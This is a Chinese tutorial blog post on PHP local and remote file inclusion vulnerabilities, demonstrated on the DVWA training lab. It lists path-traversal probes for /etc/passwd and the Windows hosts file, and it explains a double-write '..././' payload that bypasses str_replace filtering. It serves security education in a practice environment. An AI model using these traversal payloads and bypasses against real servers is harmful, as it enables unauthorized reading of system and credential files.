「这是我参与2022首次更文挑战的第5天,活动详情查看:2022首次更文挑战」。
文件包含渗透 File Inclusion
文件包含漏洞:
- 即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可 以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文 件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包 含漏洞与远程文件包含漏洞,
- 远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务 器允许包含一个远程的文件)。 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不 严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
- 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
- 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
- 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数 文件包含分为两类: 本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含 远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含
文件包含特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
原理图
演示一(LFI):
dvwa 文件包含(low):
- 首先我们要打开
allow_url_include()
和allow_url_fopen()
这两个函数开关,
- 然后我们来到dvwa页面的低等级的文件包含漏洞下,
- 观察url,我们可以看出这里是通过page参数传一个
include.php
文件名,我们先试一下下面三个链接
- 中间那段内容是
fil1.php
文件的内容,已经被包含进来了
-
这是
file2.php
和file3.php
文件情况,这里很明显通过page传参,传一个文件名,然后就可以把该文件内容包含进来(权限足够的情况下) -
我们试着在fi目录下新建一个
test.txt
文件并写入内容,来看是否能包含该文件内容 -
然后我们打开浏览器,传值
test.txt
给page参数,看能否包含
- 我们可以看到刚刚写的内容被成功包含进来了,这里我们其实可以通过目录跳转的方式读取该服务器下的其他敏感文件,我们这里是windows系统,所以我们可以尝试读取
C:\WINDOWS\System32\drivers\etc\hosts
文件,
- 可以看到,这里成功读取了hosts文件,为了之后方便演示,我这里在c盘根目录下创建
1.txt
文件并写入内容,之后的演示就读取这个文件了。
代码审计解析
这里我们看到low等级下,对page参数没有做任何过滤,所以只要是个可读文件就能包含
dvwa 文件包含(medium):
代码审计解析
这里可以看到,我们输入的page的值被str_replace()
函数替换了,它将http://
,https://
,../
,..
替换成了空字符串,所以我们可以尝试双写../
,..
,或者绝对路径
- 先看看low等级下,需要跳六层到c盘根目录
- 再来到medium等级下,同样的方式发现不行
- 可能是被替换掉了,我们尝试进行双写绕过,构造payload
..././..././..././..././..././..././1.txt
- 这里解释一下,这是跳六层的payload,如果是跳一层,也就是说一个
../
的作用,当被过滤时,用双写..././
前面.../
为一组后面./
为一组,就是它会过滤掉连在一起的../
所以过滤之后,第一组被过滤的只剩下.
然后第二组是./
拼在一起正好是../
所以这样便起到了原本的../
的作用,即往上跳一层,然后六个这样的就跳六层,就可以绕过,或者,采用根目录方法,制造payloadc:\1.txt
- 可以看到,这里也可以成功绕过
dvwa 文件包含(high):
代码审计解析
分析源码可以看到,如果 file不等于include.php,此时服务器才不会去包含文件,两个条件只要不满足其中任意一个,就能达到文件包含的目的,可以是同file协议来绕过
- 打开高等级下的文件包含页面,还是和以前一样,我们构造payload
- 成功解析,可以绕过
\